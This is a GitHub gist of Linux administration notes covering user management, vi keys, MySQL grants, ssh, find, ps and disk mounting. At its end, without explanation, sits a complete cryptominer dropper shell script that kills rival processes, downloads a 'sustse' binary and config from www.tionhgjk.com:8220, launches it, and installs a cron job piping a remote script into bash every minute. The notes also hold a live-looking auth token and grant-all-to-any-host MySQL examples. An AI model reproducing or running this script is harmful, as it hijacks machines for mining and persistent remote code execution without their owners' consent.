Skip to content

Instantly share code, notes, and snippets.

@dontcry2013
Last active April 24, 2020 03:57
Show Gist options
  • Save dontcry2013/d3cfaf4f9a186c2c25cc28bc27e2a3bb to your computer and use it in GitHub Desktop.
Save dontcry2013/d3cfaf4f9a186c2c25cc28bc27e2a3bb to your computer and use it in GitHub Desktop.
Linux Command

User

/etc/passwd Format

Username, Password, User ID, Group ID, User ID Info, Home directory, Command/shell

Example:

tom:x:1001:1001:Tom Cruise:/home/zac:/bin/bash

/etc/group Format

Group name, Password, Group ID, Group List

Example:

sudo:x:27:Lucy,Tom

Add

sudo adduser new_username
# Or
sudo useradd new_username

Delete

sudo userdel username
# Then you may want to delete the home directory for the deleted user account :
sudo rm -r /home/username

Modify

To modify the username of a user:

usermod -l new_username old_username

To change the password for a user:

sudo passwd username

To change the shell for a user:

sudo chsh username

To change the details for a user (for example real name):

sudo chfn username

To add a user to the sudo group:

adduser username sudo
# Or
usermod -aG sudo username

Vi

:set nu
:set number
:0      //jumps to the first line
:$      //jumps to the last line
G       //jumps to the first line$
1G      //jumps to the last line
0       //gets you to the beginning of the line
$       //gets you to the end of the line 
/       //search   type n to find next, N find previous
u	      //Undo last change
U	      //Undo all changes to line
a	      //Append after cursor
A	      //Append after line

x	      //Delete character to the right of cursor
X	      //Delete character to the left of cursor
D	      //Delete to the end of the line
dd	    //Delete current line
:d	    //Delete current line
5dd or d5d //Delete 5 lines
i	      //Insert before cursor
I	      //Insert before line
o	      //Open a new line after current line
O	      //Open a new line before current line
r	      //Replace one character
R	      //Replace many characters
nyy	    //Type 12yy to copy the 12 lines, without n, default is 1.
p       //Type p to insert the copied line after the current line.
ggdG  //clear content of a file
gg    //go to the 1st line
dG   //delete lines under the cursor

Add vsftp user

adduser moodlelocal
vim /etc/passwd
# moodlelocal:x:1002:1002:,,,:/aemg/cloudclassroom/moodle/local:/usr/sbin/nologin
getfacl local
setfacl -R -m u:moodlelocal:rwX local
service vsftpd restart
# add user to another group
usermod -a -G dubbo moodlelocal
groups moodlelocal

Publish a website on server

cd /etc/httpd/conf
vim httpd.conf
# open  Include conf.d/*.conf
cd /etc/httpd/conf.d
cp ss.conf iosc.conf
# Change following lines accordingly
# DocumentRoot /var/www/iosc 
# ServerName iosc.aemg.com.au
ln -s /aemg/cloudservice/iosc /var/www/ios
# Addtionally, you may need to remove #RewriteBase /
vim /aemg/cloudservice/iosc/.htaccess
service httpd restart

ssh

type exit to quit from ssh

ssh dubbo@10.0.0.100
ssh kuaidi@192.168.228.183 -p2222
/etc/vsftpd.userlist
netstat -ant | grep 21

# in local shell, copy remote server's file
scp zac@192.168.15.90:/home/zac/my.tar /Users/devmac/Desktop
scp /Users/zach/Desktop/polyv_node/package.json dubbo@10.0.0.100:/home/dubbo/zach

# Copy ssh pub key to server
$ ssh-keygen -t rsa -b 2048
$ ssh-copy-id id@server
$ ls ~/.ssh/authorized_keys

mysql

mysql> use mysql;
mysql> SELECT user, host FROM user WHERE user = 'root';
mysql> grant select,insert,update,delete,create,drop on mydb.mytable to lzpddd@192.168.1.88 identified by 'mypassword';
# grant all on [database name].[table name] to [user name]@[host name];
mysql> grant all privileges on *.* to lzpddd@192.168.1.88 identified by 'mypassword';
mysql> grant all privileges on *.* to lzpddd@'%' identified by 'mypassword';
mysql> grant all privileges on *.* to 'root'@'%' identified by '###' with grant option;
mysql> flush privileges;
mysql> show databases;
mysql> mysql -u username -pmypassword -h 192.168.1.88 -P 3306 -D dbname
mysql> select user,host from mysql.user;
mysql> SELECT table_schema AS "Database",  ROUND(SUM(data_length + index_length) / 1024 / 1024 / 1024, 2) AS "Size (GB)"  FROM information_schema.TABLES  GROUP BY table_schema;
mysql> mysqldump -u root -p### classicmodels > d:\db\classicmodels.sql
mysql> mysql -u root -p### classicmodels_backup < d:\db\classicmodels.sql

# chown mysql:adm /var/log/mysql/query.log 
# chown mysql:adm /var/log/mysql 
# chown root:syslog /var/log 
# chown root:root /var 
# chmod 0640 /var/log/mysql/query.log 
# chmod 0750 /var/log/mysql 
# chmod 0775 /var/log 
# chmod 0755 /var
mysql> SHOW VARIABLES LIKE 'general_log%';
mysql> SET GLOBAL general_log = 'ON';
mysql> SET GLOBAL general_log_file = '/var/log/mysql/query.log';
# : > query.log #清空文件
# 配置文件-/etc/mysql/mysql.cnf

uninstall jdk in mac

Run this command to just remove the JDK

sudo rm -rf /Library/Java/JavaVirtualMachines/jdk.jdk

Run these commands if you want to remove plugins

sudo rm -rf /Library/PreferencePanes/JavaControlPanel.prefPane 
sudo rm -rf /Library/Internet\ Plug-Ins/JavaAppletPlugin.plugin 
sudo rm -rf /Library/LaunchAgents/com.oracle.java.Java-Updater.plist 
sudo rm -rf /Library/PrivilegedHelperTools/com.oracle.java.JavaUpdateHelper 
sudo rm -rf /Library/LaunchDaemons/com.oracle.java.Helper-Tool.plist 
sudo rm -rf /Library/Preferences/com.oracle.java.Helper-Tool.plist

find

This searches every object in the current directory hierarchy (.) that is a file (-type f) and then runs the command grep "example" for every file that satisfies the conditions. The files that match are printed on the screen (-print). The curly braces ({}) are a placeholder for the find match results. The {} are enclosed in single quotes (') to avoid handing grep a malformed file name. The -exec command is terminated with a semicolon (;), which should be escaped (;) to avoid interpretation by the shell.

# find files which contain key word, both have same effect
find . -type f -print | xargs grep "example"
find . -type f -exec grep "example" '{}' \; -print
# move all the local files to /opt/shell
find .  -type f  -exec mv {}   /opt/shell   \;
find .  -type f  |  xargs  -I  '{}'  mv  {}  /opt/shell
# Find and delete
find . -maxdepth 1 -name "*.bak" -delete
find -name 'logjd_*' | xargs rm -f

ps

ps a 显示现行终端机下的所有程序,包括其他用户的程序。
ps -A 显示所有程序。
ps c 列出程序时,显示每个程序真正的指令名称,而不包含路径,参数或常驻服务的标示。
ps -e 此参数的效果和指定"A"参数相同。
ps e 列出程序时,显示每个程序所使用的环境变量。
ps f 用ASCII字符显示树状结构,表达程序间的相互关系。
ps -H 显示树状结构,表示程序间的相互关系。
ps -N 显示所有的程序,除了执行ps指令终端机下的程序之外。
ps s 采用程序信号的格式显示程序状况。
ps S 列出程序时,包括已中断的子程序资料。
ps -t<终端机编号> 指定终端机编号,并列出属于该终端机的程序的状况。
ps u 以用户为主的格式来显示程序状况。
ps x 显示所有程序,不以终端机来区分。

List all the java process, remove the current running grep process, the difference is standard syntax

ps -ef | grep java | grep -v grep 
ps aux | grep node | grep -v grep

others

du -sh ./dist
ls -lh
df -lh
tail -f nohup.out
curl -i -H "Content-type: application/json" -H "X-AUTH-TOKEN:eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJtYXJzLnpoYW5nQGFlbWcuY29tLmF1IiwibGFuZyI6bnVsbCwiaWF0IjoxNTIyMTE3NjQxOTE0LCJqdGkiOiJtYXJzLnpoYW5nQGFlbWcuY29tLmF1In0.KYdKLjYnhWhVkk3Mf_QTJ5qtP3h9CMNbfgq4Qz6U3h0" -X POST -d '{"from":"0","to":"2","Gtasks":"true"}' http://localhost:8080/maven-web-demo/rest/tSTaskController/

选择最后 20 行,将其保存到 results.txt,但是只在屏幕上显示这 20 行中的第一行
tee 命令有一个非常有用的选项(-a),它允许您将数据追加到已有文件。

sed -n -e 5,8p -e 10p file
tail -n20 /var/log/mail/info |tee results.txt |head -n1
cat mylog_2018-04-27.txt -n | head -n 50 | tail -n 10
cat -n 打印行号
cat > filename  创建文件
cat pushcourier.log.2015-04-20|grep DIANHUA|wc -l
cat api.log | grep -inE --color=auto "优速速递|doMessage"
cat api.log|grep sendAndroidUnicast | wc
cat catalina.out | grep -C 5 method_saveavatar   //前后五行
cat /etc/passwd | sort -t':' -k 7 -u  //第七个域进行排序,然后去重:
cat logsn_2015-11-22.txt | grep saveCookie |awk -F'>' '{print $4}' | sort -u | wc -l
cat logsn_2015-11-22.txt | grep insertOrder | grep true | awk -F'>' '{print $3}' | sort | uniq -c |wc 

cat search.log | grep poll | awk -F[\|] '{print $5"#"$6}'| sort | uniq -c | sort -n
cat api.log.150706 | grep '|poll|' | awk -F[\|] '{print $5","$6}' | sort | uniq -c | wc -l 
cat search.log.150708 | grep '|query|' | awk -F[\|] '{print $5","$6}' | sort | uniq -c | wc -l
cat search.log.150708 | awk -F[\|] '{print $5","$6}' | sort | uniq -c | wc -l

1、找出该进程内最耗费CPU的线程,可以使用ps -Lfp pid或者ps -mp pid -o THREAD, tid, time或者top -Hp pid
2、printf "%x\n" 24730
3、jstack 24715 | grep 609a

ssh kuaidi@192.168.248.203 -p2222
kill -s 9 1772
nohup node loadjd.js &

iostat -xm 2
free -m
netstat -lnap | grep 1134

iptables
iptables -t mangle -F
vi /etc/sysctl.conf
半连接攻击 syn flood
编辑 net.ipv4.tcp_syncookies = 1
这个给你启用了,在高并发的时候,部分连接会丢失,确保端口可以打开

mv macloadjd.js loadjd.js
forever stop app.js 
forever start -e ./log/jdforever.error.log -a loadjd.js

iptables -I INPUT -s 42.62.37.0/24 -j DROP

curl -H 'X-Real-IP:192.168.0.1' -H 'X-Forwarded-For:192.168.0.2' -v 'http://192.168.248.201:9101/query?type=yuantong&postid=888888888'

export PATH=/opt/kuaidi100/node/node-v0.10.28-linux-x64/bin:$PATH
wget

grep 'jin' a.txt |grep 'qi'
grep -n "A\|B" *

ubuntu :sudo service mongod start
  
var jq = document.createElement('script');
jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js";
document.getElementsByTagName('head')[0].appendChild(jq);
// ... give time for script to load, then type (or see below for non wait option)
jQuery.noConflict();

adb shell
pm list packages -f
pm uninstall -k --user 0 com.baidu.input_huawei

ionic serve --address 10.0.0.51

Mount disk in ubuntu

blkid
sudo mount -o remount,rw /partition/identifier /mount/point

mkfs -t ext4 /dev/sdc1
mkdir -p /media/seagate
mount /dev/sdc1 /media/seagate
vi /etc/fstab
/dev/sdc1    /media/seagate        ext4    defaults    0 2

mount -a

Check system info

[zac@AEMG-CS ~]$ uname -a
[zac@AEMG-CS ~]$ uname -r
[zac@AEMG-CS ~]$ cat /proc/version
[zac@AEMG-CS ~]$ cat /etc/lsb-release
[zac@AEMG-CS ~]$ cat /etc/issue
[zac@AEMG-CS ~]$ lsb_release -a

[zac@AEMG-CS ~]$ top
[zac@AEMG-CS ~]$ uptime
[zac@AEMG-CS ~]$ free -h
[zac@AEMG-CS ~]$ cat /proc/meminfo
[zac@AEMG-CS ~]$ cat /proc/2995/status
[zac@AEMG-CS ~]$ cat /proc/2995/stat
[zac@AEMG-CS ~]$ ps aux --sort -rss
[zac@AEMG-CS ~]$ vmstat -s

sysstat: 
iostat(1), sar(1), mpstat(1)

https://www.howtogeek.com/236055/how-to-write-to-ntfs-drives-on-a-mac/

# Install homebrew
$ xcode-select --install
$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
$ brew install ntfs-3g
$ sudo mkdir /Volumes/NTFS
$ diskutil list
$ sudo umount /dev/disk2s1
$ sudo /usr/local/bin/ntfs-3g /dev/disk2s1 /Volumes/NTFS -olocal -oallow_other

# It may interrupt by lack of permission
$sudo chown -R $(whoami) /usr/local/sbin
#And make sure that your user has write permission.
$chmod u+w /usr/local/sbin
#!/bin/bash
mkdir /var/tmp
chmod 777 /var/tmp
pkill -f getty
netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '27.155.87.59' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
pkill -f /usr/bin/.sshd
netstat -antp | grep '158.69.133.20:3333' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
chmod 777 /var/tmp/sustse
ps aux | grep -vw sustse | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
ps ax | grep /tmp/ | grep -v grep | grep -v 'sustse\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf' | grep -v grep | grep -v 'sustse\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
DIR="/var/tmp"
if [ -a "/var/tmp/sustse" ]
then
if [ -w "/var/tmp/sustse" ] && [ ! -d "/var/tmp/sustse" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /var/tmp/sustse | awk '{ print $1 }')
echo $sum
case $sum in
042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
echo "sustse OK"
;;
*)
echo "sustse wrong"
pkill -f wc.conf
pkill -f sustse
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/var/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/var/tmp" ]
then
DIR="/var/tmp"
fi
echo "P NOT EXISTS"
fi
if [ -d "/var/tmp/sustse" ]
then
DIR=$(mktemp -d)/var/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget -O";
fi
f2="www.tionhgjk.com:8220"
downloadIfNeed()
{
if [ -x "$(command -v md5sum)" ]
then
if [ ! -f $DIR/sustse ]; then
echo "File not found!"
download
fi
sum=$(md5sum $DIR/sustse | awk '{ print $1 }')
echo $sum
case $sum in
042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
echo "sustse OK"
;;
*)
echo "sustse wrong"
sizeBefore=$(du $DIR/sustse)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
#$WGET $DIR/sustse https://transfer.sh/wbl5H/sustse
download
sumAfter=$(md5sum $DIR/sustse | awk '{ print $1 }')
if [ -s /usr/bin/curl ];
then
echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sustse` > $DIR/var/tmp.txt
fi
;;
esac
else
echo "No md5sum"
download
fi
}
download() {
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/sustse3 | awk '{ print $1 }')
echo $sum
case $sum in
042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
echo "sustse OK"
cp $DIR/sustse3 $DIR/sustse
;;
*)
echo "sustse wrong"
download2
;;
esac
else
echo "No md5sum"
download2
fi
}
download2() {
if [ `getconf LONG_BIT` = "64" ]
then
$WGET $DIR/sustse http://www.tionhgjk.com:8220/tte2
fi
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/sustse | awk '{ print $1 }')
echo $sum
case $sum in
042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
echo "sustse OK"
cp $DIR/sustse $DIR/sustse3
;;
*)
echo "sustse wrong"
;;
esac
else
echo "No md5sum"
fi
}
judge() {
if [ ! "$(netstat -ant|grep '192.99.142.251\|192.99.142.249\|202.144.193.110'|grep 'ESTABLISHED'|grep -v grep)" ];
then
ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
do
kill -9 $procid
done
downloadIfNeed
touch /var/tmp/123
pkill -f /var/tmp/java
pkill -f w.conf
chmod +x $DIR/sustse
$WGET $DIR/wc.conf http://$f2/wt.conf
nohup $DIR/sustse -c $DIR/wc.conf > /dev/null 2>&1 &
sleep 5
else
echo "Running"
fi
}
judge2() {
if [ ! "$(ps -fe|grep '/var/tmp/sustse'|grep 'wc.conf'|grep -v grep)" ];
then
downloadIfNeed
chmod +x $DIR/sustse
$WGET $DIR/wc.conf http://$f2/wt.conf
nohup $DIR/sustse -c $DIR/wc.conf > /dev/null 2>&1 &
sleep 5
else
echo "Running"
fi
}
if [ ! "$(netstat -ant|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
judge2
else
judge
fi
if crontab -l | grep -q "www.tionhgjk.com:8220"
then
echo "Cron exists"
else
crontab -r
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
(crontab -l 2>/dev/null; echo "* * * * * $LDR http://www.tionhgjk.com:8220/mr.sh | bash -sh > /dev/null 2>&1")| crontab -
fi
rm -rf /var/tmp/jrm
rm -rf /tmp/jrm
pkill -f 185.222.210.59
pkill -f 95.142.40.81
pkill -f 192.99.142.232
chmod 777 /var/tmp/sustse
crontab -l | sed '/185.222.210.59/d' | crontab -
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment